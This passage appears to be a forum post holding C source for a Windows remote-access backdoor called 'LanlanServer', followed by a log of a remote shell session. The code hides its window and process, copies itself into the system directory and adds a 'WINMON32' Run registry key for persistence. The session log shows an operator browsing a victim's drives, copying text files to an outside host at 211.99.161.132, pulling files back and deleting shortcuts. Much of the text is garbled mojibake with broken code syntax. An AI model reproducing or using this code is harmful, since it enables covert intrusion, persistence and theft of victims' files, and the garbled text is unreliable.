Break; } Break; Case WM_DESTROY: HideProc (unservice_proc); PostquitMessage (0); Break; DEFAULT: Return DefWindowProc (Hwnd, Message, WPARAM, LPARAM); } Return 0; } / / -------------------------------------------------------------------------------------------- --------------------------- WinApi Winmain (Hinstance Hinstance, Hinstance, LPSTR, INT) { Hwnd hwnd; MSG msg; WNDCLASS WNDC; LPSTR SZAPPNAME = "lanlan"; HKEY HKEY = 0; DWORD DISP = 0; Long LRESULT; Tchar Szkey [MAX_PATH]; Tchar Szsysdir [MAX_PATH 25]; Tchar SzFileName [MAX_PATH]; Wndc.style = 0; Wndc.lpfnwndproc = wndproc; Wndc.cbclsextra = 0; Wndc.cbWndextra = 0; Wndc.hinstance = hinstance; Wndc.hicon = loadicon (null, idi_application); WNDC.HCURSOR = loadingcursor (null, idc_arrow); Wndc.hbrbackground = (Hbrush) (Color_Window 1); WNDC.LPSZMENUNAME = NULL; Wndc.lpszclassname = szappname; RegisterClass (& WNDC); HWnd = CREATEWINDOW (Szappname, "LanlanServer", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, HINSTANCE, NULL; ShowWindow (hwnd, sw_hide); UpdateWindow (HWND); IF (GetOS () == Ver_Platform_Win32_Windows) { HideProc (Service_Proc); } INITSOCKET (HWND); // ¸'öîîä1/4 þ μ1/2ïμí3ä¿ Astuff / / 2 ¢ óô × ¢ 2á ± í × ×¶ ¯ ôëððð GetSystemDirectory (Szsysdir, Max_Path); LSTRCAT (SZSYSDIR, RUN); GetModuleFileName (Null, SzFileName, Max_Path); CopyFile (SZFileName, Szsysdir, False); LSTRCPY (Szkey, "Software // Microsoft // Windows // CurrentVersion // Run"); LRESULT = RegcreateKeyex (HKEY_LOCAL_MACHINE, SZKEY, 0, NULL, REG_OPTION_VOLATILE, Key_All_Access, Null, & HKey, & Disp IF (LRESULT == Error_Success) { LResult = RegSetValueex (HKEY, "WINMON32", 0, REG_SZ, SZSYSDIR, LSTRLEN (SZSYSDIR); RegcloseKey (HKEY); } While (GetMessage (& MSG, NULL, 0, 0)) { TranslateMessage (& MSG); DispatchMessage (& MSG); } Return (msg.wparam); } Ïãæêç ° 3óãtelnet4ç × ÷ ¹¹3ì Lanlan: /> DIR Lanlan: /> Frunlog.txt 1005 Archive Command.com 94292 Archive Config.sys 0 Archive Windows 0 Netlog.txt 9683 Archive My Documents 0 ATI 0 Autoexec.bat 129 Archive Ultisoft 0 MRTalk-setup.exe 4521090 Archive YXL 0 Moon.exe 986228 archive HIRC2 0 Don.txt 3431 Archive ¹¹ö ¹¹üàíïμí3¿ Éðððô öîööééè1/4æ £ £¿ ò14ü £ © .doc 92160 Archive Tempc 0
SCWIN133 0
Outlook Express.lnk 509 Readonly
'Úõõ · ñòμîñ.doc 69632 Archive
Lanlandown.txt 624 Archive
LANLAN: /> DIR *.
Lanlan: />
Windows 0
My Documents 0
ATI 0
Ultisoft 0
YXL 0
HIRC2 0
Tempc 0
SCWIN133 0
Lanlan: /> cd my documents
Lanlan: /> Change Directory OK
Lanlan: /> DIR
Lanlan: />
. 0
.. 0
Öò ¸æ.txt 798 Archive
Mysp.sql 535 Archive
Á'/2ó 0
AAA.PPT 32768 ARCHIVE
SOCK_TEMP 0
Lanlan: /> gcpath
Lanlan: /> CurrentDirect: C: / My Documents
Lanlan: /> dir d: /*.*
Lanlan: />
Win98 0
VGA 0
OICQ99c.exe 966029 Archive
Metal 0
V2COMM2_0_0SC.EXE 793295 Archive
STONEAGE 0
SONGS 0
Programs 0
MSSQL7 0
MMSSetup.exe 648032 Archive
Jiasys 0
Darkmatter.exe 7925536 Readonly
SCWIN133.ZIP 652510 Archive
CJ_256 0
Msrwin08.exe 1145666 readonly
Demonstr.exe 3806208 Readonly
Game 0
Msrwin08 0
E-card.exe 827941 archive
Hirc2-setup.exe 996803 archive
WhoCQ2SRC 0
Lanlan: /> CD D:
Lanlan: /> Change Directory OK
LANLAN: /> DIR *.
Lanlan: />
Win98 0
VGA 0
Metal 0
STONEAGE 0
SONGS 0
Programs 0
MSSQL7 0
Jiasys 0
CJ_256 0
Game 0
Msrwin08 0
WhoCQ2SRC 0
Lanlan: /> cd jiasys
Lanlan: /> Change Directory OK
Lanlan: /> DIR
Lanlan: />
. 0
.. 0
MYHOOK 0
Tc.RES 876 Archive
TestClass.cpp 1288 Archive
Testclass.h 920 Archive
TestClass.dfm 449 Archive
Tc.cpp 706 Archive
Tc.bpr 4631 Archive
Tc. ~ BP 4631 Archive
Tc.Obj 11933 Archive
Sysclass.c 5795 Archive
TestClass. ~ H 861 archive
Testclass. ~ DF 449 Archive
Testclass.obj 50776 Archive
Tc.TDS 1835008 Archive
Tc.exe 26624 Archive
Nettools.zip 214171 Archive
MYLOVER.TXT 2932 ARCHIVE
Nettools 0
TestClass.c 1286 Archive
Lanlan: /> gcpath
LANLAN: /> CURRENTDIRECT: D: / JIASYSLANLAN: /> CD C:
Lanlan: /> Change Directory OK
Lanlan: /> DIR
Lanlan: />
Frunlog.txt 1005 Archive
Command.com 94292 Archive
Config.sys 0 Archive
Windows 0
Netlog.txt 9683 Archive
My Documents 0
ATI 0
Autoexec.bat 129 Archive
Ultisoft 0
MRTalk-setup.exe 4521090 Archive
YXL 0
Moon.exe 986228 archive
HIRC2 0
Don.txt 3431 Archive
¹¹ö ¹¹üàíïμí3¿ Éðððô öîööééè1/4æ £ £¿ ò14ü £ © .doc 92160 Archive
Tempc 0
SCWIN133 0
Outlook Express.lnk 509 Readonly
'Úõõ · ñòμîñ.doc 69632 Archive
Lanlandown.txt 624 Archive
Lanlan: /> CD Windows / Desktop
Lanlan: /> Change Directory OK
Lanlan: /> DIR
Lanlan: />
. 0
.. 0
Outlook Express.lnk 493 Readonly
Intervideo WinDvd.Lnk 442 Archive
Ìúñ¶oicq.lnk 334 Archive
Ò »· öç®2» »¨.lnk 149 Archive
Netants.lnk 379 Archive
Lanlan 0
Iishack2000.c 4820 archive
RealPlayer G2.Lnk 421 Archive
WINAMP.LNK 350 ARCHIVE
Microsoft Outlook.ll 417 Archive
C Builder 4.lnk 524 Archive
V2Communicator.lnk 402 Archive
SQLSec.zip 281929 Archive
Âòß ° ëôã 0
Run Demonstar.lnk 359 Archive
Sunnet Hirc2.Lnk 305 Archive
Class.txt 336 Archive
IPN1.0.EXE 992721 Archive
Gx.jpg 94542 Archive
1.log 0 Archive
Process.zip 153477 Archive
Process 0
Éïo £ èïß ipn.lnk 537 Archive
Ê ¯æ ÷ ê ±'ú.lnk 291 Archive
Lanlan: /> DIR * .TXT
Lanlan: />
Class.txt 336 Archive
Lanlan: /> gcpath
LANLAN: /> CURRENTDIRECT: C: / Windows / Desktop
LANLAN: /> Copy * .txt //211.99.161.132/C
Lanlan: /> Copy File IS OK
Lanlan: /> DIR
Lanlan: />
. 0
.. 0
Outlook Express.lnk 493 Readonly
Intervideo Windvd.lnk 442 Archiveìúñ¶oicq.lnk 334 Archive
Ò »· öç®2» »¨.lnk 149 Archive
Netants.lnk 379 Archive
Lanlan 0
Iishack2000.c 4820 archive
RealPlayer G2.Lnk 421 Archive
WINAMP.LNK 350 ARCHIVE
Microsoft Outlook.ll 417 Archive
C Builder 4.lnk 524 Archive
V2Communicator.lnk 402 Archive
SQLSec.zip 281929 Archive
Âòß ° ëôã 0
Run Demonstar.lnk 359 Archive
Sunnet Hirc2.Lnk 305 Archive
Class.txt 336 Archive
IPN1.0.EXE 992721 Archive
Gx.jpg 94542 Archive
1.log 0 Archive
Process.zip 153477 Archive
Process 0
Éïo £ èïß ipn.lnk 537 Archive
Ê ¯æ ÷ ê ±'ú.lnk 291 Archive
Lanlan: /> gcpath
LANLAN: /> CURRENTDIRECT: C: / Windows / Desktop
Lanlan: /> cd..
Lanlan: /> Change Directory OK
Lanlan: /> gcpath
Lanlan: /> CurrentDirect: C: / Windows
Lanlan: /> cd..
Lanlan: /> Change Directory OK
Lanlan: /> gcpath
Lanlan: /> CURRENTDIRECT: C: /
Lanlan: /> DIR
Lanlan: />
Frunlog.txt 1005 Archive
Command.com 94292 Archive
Config.sys 0 Archive
Windows 0
Netlog.txt 9683 Archive
My Documents 0
ATI 0
Autoexec.bat 129 Archive
Ultisoft 0
MRTalk-setup.exe 4521090 Archive
YXL 0
Moon.exe 986228 archive
HIRC2 0
Don.txt 3431 Archive
¹¹ö ¹¹üàíïμí3¿ Éðððô öîööééè1/4æ £ £¿ ò14ü £ © .doc 92160 Archive
Tempc 0
SCWIN133 0
Outlook Express.lnk 509 Readonly
'Úõõ · ñòμîñ.doc 69632 Archive
Lanlandown.txt 624 Archive
Lanlan: /> DIR * .LNK
Lanlan: />
Outlook Express.lnk 509 Readonly
Lanlan: /> DEL * .LNK
Lanlan: /> Delete File IS OK
Lanlan: /> DIR
Lanlan: />
Frunlog.txt 1005 Archive
Command.com 94292 Archive
Config.sys 0 Archive
Windows 0
Netlog.txt 9683 ArchiveMy Documents 0
ATI 0
Autoexec.bat 129 Archive
Ultisoft 0
MRTalk-setup.exe 4521090 Archive
YXL 0
Moon.exe 986228 archive
HIRC2 0
Don.txt 3431 Archive
¹¹ö ¹¹üàíïμí3¿ Éðððô öîööééè1/4æ £ £¿ ò14ü £ © .doc 92160 Archive
Tempc 0
SCWIN133 0
'Úõõ · ñòμîñ.doc 69632 Archive
Lanlandown.txt 624 Archive
Lanlan: /> DIR
Lanlan: />
Frunlog.txt 1005 Archive
Command.com 94292 Archive
Config.sys 0 Archive
Windows 0
Netlog.txt 9683 Archive
My Documents 0
ATI 0
Autoexec.bat 129 Archive
Ultisoft 0
MRTalk-setup.exe 4521090 Archive
YXL 0
Moon.exe 986228 archive
HIRC2 0
Don.txt 3431 Archive
¹¹ö ¹¹üàíïμí3¿ Éðððô öîööééè1/4æ £ £¿ ò14ü £ © .doc 92160 Archive
Tempc 0
SCWIN133 0
'Úõõ · ñòμîñ.doc 69632 Archive
Lanlandown.txt 624 Archive
Can not find directory.
Lanlan: /> CD D:
Lanlan: /> Change Directory OK
Lanlan: /> DIR
Lanlan: />
Win98 0
VGA 0
OICQ99c.exe 966029 Archive
Metal 0
V2COMM2_0_0SC.EXE 793295 Archive
STONEAGE 0
SONGS 0
Programs 0
MSSQL7 0
MMSSetup.exe 648032 Archive
Jiasys 0
Darkmatter.exe 7925536 Readonly
SCWIN133.ZIP 652510 Archive
CJ_256 0
Msrwin08.exe 1145666 readonly
Demonstr.exe 3806208 Readonly
Game 0
Msrwin08 0
E-card.exe 827941 archive
Hirc2-setup.exe 996803 archive
WhoCQ2SRC 0
Lanlan: /> gcpath
LANLAN: /> CURRENTDIRECT: D: /
LANLAN: /> DIR *.
Lanlan: />
Win98 0
VGA 0
Metal 0
STONEAGE 0
Songs 0
MSSQL7 0
Jiasys 0
CJ_256 0
Game 0
Msrwin08 0
WhoCQ2SRC 0
Lanlan: /> cd Metal
Lanlan: /> Change Directory OK
Lanlan: /> DIR
Lanlan: />
. 0
.. 0
Do n't_cry.rm 757491 orthol
Communication_breakdown.rm 397911 r r.
Crazy.rm 840305 Readonly
Amazing.rm 950747 iedonly
Dream_on.rm 707125 readonly
Fade_to_black.rm 1099788 readonly
IN_A_DARKENED_ROOM.RM 624304 Readonly
Master_of_puppets.rm 1364907 ron1
More_than_words.rm 883834 iedonly
NO_Remorse.rm 1022536 Readonly
04 - Wind of change.mp3 7297644 m 3 l l
November_rain.rm 1425646 readonly
TO_BE_WITH_YOU.rm 574602 Readonly
08 - Nothing else matters.mp3 6205857 omp3 6205857 omp3 6205857 omp3 6205857 omp3 6205857 omp3 6205857 mMP3 6205857 Readonly
03 - The House Jack Built.mp3 6366839 Readonly
04 - Welcome Home (Sanitarium) .mp3 6177536 m p
05 - another brick in the wall part 2.mp3 3829411 omp3 3829411 omp3 3829411 omp3 3829411
06 - come together.mp3 5813279 omp3 5813279 omp3 5813279 iedonly
02 - The memory remains.mp3 4455715 omp3 4455715 mMP3 4455715 Readonly
06 - Outlaw Torn.mp3 9559804 Readonly
Lanlan: /> COPY //211.99.161.132/d/metal/amazin*.* c: / windows / desktop
Lanlan: /> Copy File IS OK
Lanlan: /> gcpath
Lanlan: /> CurrentDirect: D: / Metal
Lanlan: /> CD C:
Lanlan: /> Change Directory OK
Lanlan: /> DIR
Lanlan: />
Frunlog.txt 1005 Archive
Command.com 94292 Archive
Config.sys 0 Archive
Windows 0
Netlog.txt 9683 Archive
My Documents 0
ATI 0
Autoexec.bat 129 Archive
Ultisoft 0
MRTalk-setup.exe 4521090 Archive
YXL 0
Moon.exe 986228 archive
HIRC2 0
Don.txt 3431 Archive
¹¹ö ¹¹üàíïμí3¿ Éðððô öîööééè1/4æ £ £¿ ò14ü £ © .doc 92160 Archive
Tempc 0
SCWIN133 0
Lanlandown.txt 624 Archive
LANLAN: /> DIR *.
Lanlan: />
Windows 0
My Documents 0
ATI 0
Ultisoft 0
YXL 0
HIRC2 0
Tempc 0
SCWIN133 0
Lanlan: /> cd yxl
Lanlan: /> Change Directory OK
Lanlan: /> DIR
Lanlan: />
. 0
.. 0
À × Äõõ1/2 »ú 0
Lanlan: /> CD /
Lanlan: /> CD Drive / DirectoryChange Directory OK
Lanlan: /> DIR
Lanlan: />
Frunlog.txt 1005 Archive
Command.com 94292 Archive
Config.sys 0 Archive
Windows 0
Netlog.txt 9683 Archive
My Documents 0
ATI 0
Autoexec.bat 129 Archive
Ultisoft 0
MRTalk-setup.exe 4521090 Archive
YXL 0
Moon.exe 986228 archive
HIRC2 0
Don.txt 3431 Archive
¹¹ö ¹¹üàíïμí3¿ Éðððô öîööééè1/4æ £ £¿ ò14ü £ © .doc 92160 Archive
Tempc 0
SCWIN133 0
'Úõõ · ñòμîñ.doc 69632 Archive
Lanlandown.txt 624 Archive
Ϲ¹¹û × ó £ o
Ðç1/1/4¶ £ o014111 [ID: 7221] ° 3ð'μä »¸ö1/4òμ ¥ Äo.âí [× ÷ õõ: 2. ¶4 'óð¡¡ : 49185bytes] [èëæø: 38 »Øó|: 0] (2001-05-20 19:16:04)
»Ø ¸'' ëû × ó £ o
Û û × ó × ª · ¢ £ o